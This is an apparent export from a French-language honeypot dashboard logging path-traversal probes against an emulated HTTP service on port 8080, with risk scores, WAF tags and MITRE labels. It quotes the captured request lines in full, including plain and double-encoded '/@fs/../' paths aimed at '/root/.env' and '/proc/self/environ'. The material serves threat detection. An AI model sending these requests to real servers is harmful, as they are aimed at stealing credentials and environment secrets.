"http_path": "\/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env",
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "config file probe \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.e\u2026",
"evidence_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252froot\/.env?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (W",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_path_traversal",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/..%252f..%252f..%252f..%252f..%252fproc/se…
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950316:lfi-14
950326:rce-0
Cible HTTP
GET
/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ
Pourquoi cette classification : Sonde fichier sensible: traversal (tags internes) · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — 6 tag(s) WAF
Protocole émulé
1 Signaux
Http Lfi
CRS-930100-sub
Upstream
Waf Score
Tactiques MITRE
TA0001
TA0002
Ligne de requête
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1
connection: close
accept: */*
user-agent: Mozill
Requête brute (extrait)
GET /@fs/..%252f..%252f..%252f..%252f..%252fproc/self/environ?raw?? HTTP/1.1 connection: close accept: */* user-agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 host: 62.3.50.33:8080
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 4,
"http_query_params": 1,
"http_path_depth": 4,
"http_path_ext": "%252fproc\/self\/environ",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "a4f5db703a16746f56ff33f3e76f5d1b3ca18487",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 260,
"payload_entropy": 5.366735927244806,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "e67e6f7c62512add548b8909c75068263d87920f",
"event_fingerprint": "cbe874c459593c2bae2614f54c878685626f3ac2",
"classification_reason": "Sonde fichier sensible: traversal (tags internes) \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 323,
"precision_signals": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"kb_rule_ids": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "dffb42efcaaa9007a0426f2e6f615ed8",
"path_pattern_hash": "2a86291f5985f41d93deb0389cdb6e1b"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1",
"payload_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozill",
"evidence": {
"method": "GET",
"path": "\/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"lfi-0",
"lfi-1",
"lfi-14",
"rce-0",
"nosqli-3"
],
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nhost: 62.3.50.33:8080",
"payload_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozill",
"classification_reason": "Sonde fichier sensible: traversal (tags internes) \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "518995f4027fa06951e4c6b8b4ef72ea22f18f9e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ",
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozill",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/se\u2026",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal (tags internes) \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal (tags internes) \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"INT-http_lfi",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"tags_summary_labels_fr": [
"Http Lfi",
"CRS-930100-sub",
"Upstream",
"Waf Score"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ",
"request_line": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/se\u2026",
"evidence_snippet": "GET \/@fs\/..%252f..%252f..%252f..%252f..%252fproc\/self\/environ?raw?? HTTP\/1.1\r\nconnection: close\r\naccept: *\/*\r\nuser-agent: Mozill",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"matched_patterns": [],
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950264:lfi-1",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_dependency_confusion_probe",
"http_path_traversal",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/../../../../../root/.env
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/../../../../../root/.env UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950316:lfi-14
950326:rce-0
950468:nosqli-3
Cible HTTP
GET
/@fs/../../../../../root/.env
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/../../../../../root/.env
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 6 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
Http Lfi
pat-0508
pat-0711
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930110
LFI Path traversal encoded
Ligne de requête
GET /@fs/../../../../../root/.env?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-14
rce-0
nosqli-3
leak-1
Payload (extrait)
GET /@fs/../../../../../root/.env?raw?? HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) A
Requête brute (extrait)
GET /@fs/../../../../../root/.env?raw?? HTTP/1.1 Host: 62.3.50.33:8080 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36 Connection: close
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206e67696e782f312e32342e300d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 81,
"http_header_count": 3,
"http_query_params": 1,
"http_path_depth": 8,
"http_path_ext": "env",
"http_ua_hash": "44d3c8b849357a6a84abd560467256ebced73ec0",
"http_host_hash": "c9908f9a31aefa5902e21ee9fa132cbe056c536d",
"http_target_hash": "9e5477ff2b68eb64dfefc96dcc30659a0e1eed5e",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 219,
"payload_entropy": 5.280353835402871,
"port_category": "registered",
"org": "Amazon.com, Inc.",
"service": "http",
"app_proto": "http",
"asn": 16509,
"country": "DE",
"dst_port": 8080,
"risk_waf": 100,
"risk_classification": 78,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 6.2,
"risk_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 70,
"tag_count": 12,
"anomaly_count": 0,
"campaign_key": "acaeabf2fa3d5da3398abfd2c552047cb54d74bb",
"event_fingerprint": "fc63e90e91383e5a86ca552959c97a598c7ec7d6",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 537,
"precision_signals": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub"
],
"kb_rule_ids": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711",
"pat-0083",
"CRS-930100-sub",
"INT-upstream",
"INT-waf-score"
],
"matched_patterns": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"matched_pattern_names": [
"ET path traversal encoded",
"CRS 930100 path traversal",
"CRS 930110",
"LFI Path traversal encoded"
],
"pattern_ids": [
"pat-0508",
"pat-0711",
"pat-0083",
"pat-0081"
],
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"named_classification_skipped": false,
"classification_parent": "path_traversal",
"service_name": "http",
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "DE",
"asn": 16509,
"org": "Amazon.com, Inc.",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "544610c250911ce605588efb3a938aed",
"payload_hash": "66e39aa4fedc57be14030403d9ccb40e",
"path_pattern_hash": "ea2e4800144d43747c14bb40a4aae60d"
},
"target_context": {
"dst_port": 8080,
"service": "http",
"service_name": "http",
"risk_score": 70
},
"method": "GET",
"path": "\/@fs\/..\/..\/..\/..\/..\/root\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1",
"payload_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) A",
"evidence": {
"method": "GET",
"path": "\/@fs\/..\/..\/..\/..\/..\/root\/.env",
"query_string": "raw??",
"user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"waf_tags": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1"
],
"waf_rule_names": [
"lfi-0",
"lfi-14",
"rce-0",
"nosqli-3",
"leak-1"
],
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1",
"request_sample": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36\r\nConnection: close\r\n\r\n",
"payload_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) A",
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre_techniques": [
"T1083"
],
"mitre": "T1083",
"threat_family": [
"path_traversal"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "0231f2e5c89bcffa1ab61d4ad02122251062cf6f",
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..\/..\/..\/..\/..\/root\/.env",
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) A",
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..\/..\/..\/..\/..\/root\/.env",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"classification_reason_label_fr": "Sonde fichier sensible: traversal ..\/ \u00b7 R\u00e8gle WAF \u00ab lfi-0 \u00bb \u00b7 Traversal \/ LFI dans le chemin \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 70\/100 (\u00c9lev\u00e9) \u2014 MITRE T1083 \u2014 confiance 100 % \u2014 via HTTP",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 78,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 70
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "exploitation",
"attack_chain_stage_label_fr": "Exploitation",
"risk_score": 70,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 8080,
"protocol_emulated": true,
"tags_summary": [
"CRS-930100",
"INT-http_lfi",
"pat-0508",
"pat-0711"
],
"tags_summary_labels_fr": [
"CRS-930100",
"Http Lfi",
"pat-0508",
"pat-0711"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "T1083",
"mitre_technique": "T1083",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": null,
"correlation_flags_labels_fr": null,
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": null,
"protocol_details": {
"http_method": "GET",
"http_path": "\/@fs\/..\/..\/..\/..\/..\/root\/.env",
"request_line": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1",
"http_user_agent": "Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/136.0.0.0 Safari\/537.36",
"port": 8080,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "lfi path traversal \u00b7 via HTTP:8080 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/@fs\/..\/..\/..\/..\/..\/root\/.env",
"evidence_snippet": "GET \/@fs\/..\/..\/..\/..\/..\/root\/.env?raw?? HTTP\/1.1\r\nHost: 62.3.50.33:8080\r\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64) A",
"target_port_label": "8080 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 100 % \u2014 Motif catalogue confirm\u00e9 \u00b7 6 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 6 tag(s) WAF",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "exploitation",
"label_fr": "Exploitation",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "8080"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"attack_chain_stage": "exploitation",
"ban_policy": "advisory_investigate",
"tags_list": [
"950260:lfi-0",
"950316:lfi-14",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"950514:leak-1",
"http_backup_file_scan",
"http_dependency_confusion_probe",
"http_path_traversal",
"http_path_traversal_high",
"http_sensitive_path",
"net_web_probe"
],
"asn_dc_heuristic": true
}
19/06/2026 22:20:11 UTC
TCP
8080 · HTTP
Traversal LFI
lfi path traversal · via HTTP:8080 · (tentative d'exploit) · → /@fs/../../../../../proc/self/environ
Élevée
Élevé · 70
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
MITRE
T1083
TA0001
TA0002
Protocole
GET /@fs/../../../../../proc/self/environ UA Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (K…
Émulateur
HTTP
WAF
43
Recommandation
Investiguer
Tags
950260:lfi-0
950264:lfi-1
950316:lfi-14
950326:rce-0
Cible HTTP
GET
/@fs/../../../../../proc/self/environ
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
8080
Chemin / cible
/@fs/../../../../../proc/self/environ
Pourquoi cette classification : Sonde fichier sensible: traversal ../ · Règle WAF « lfi-0 » · Traversal / LFI dans le chemin · confiance 100%
Confiance classification
100%
Risque capteur
Élevé
· 70
Confiance : Confiance 100 % — Motif catalogue confirmé · 6 tag(s) WAF
Protocole émulé
1 Signaux
CRS-930100
MITRE-T1083
Http Lfi
pat-0508
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET path traversal encoded
CRS 930100 path traversal
CRS 930140 proc self
CRS 930110
LFI Path traversal encoded
LFI path /proc/self/environ
Ligne de requête
GET /@fs/../../../../../proc/self/environ?raw?? HTTP/1.1
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Règles WAF
lfi-0
lfi-1
lfi-14
rce-0
nosqli-3
Payload (extrait)
GET /@fs/../../../../../proc/self/environ?raw?? HTTP/1.1
Host: 62.3.50.33:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64
Requête brute (extrait)
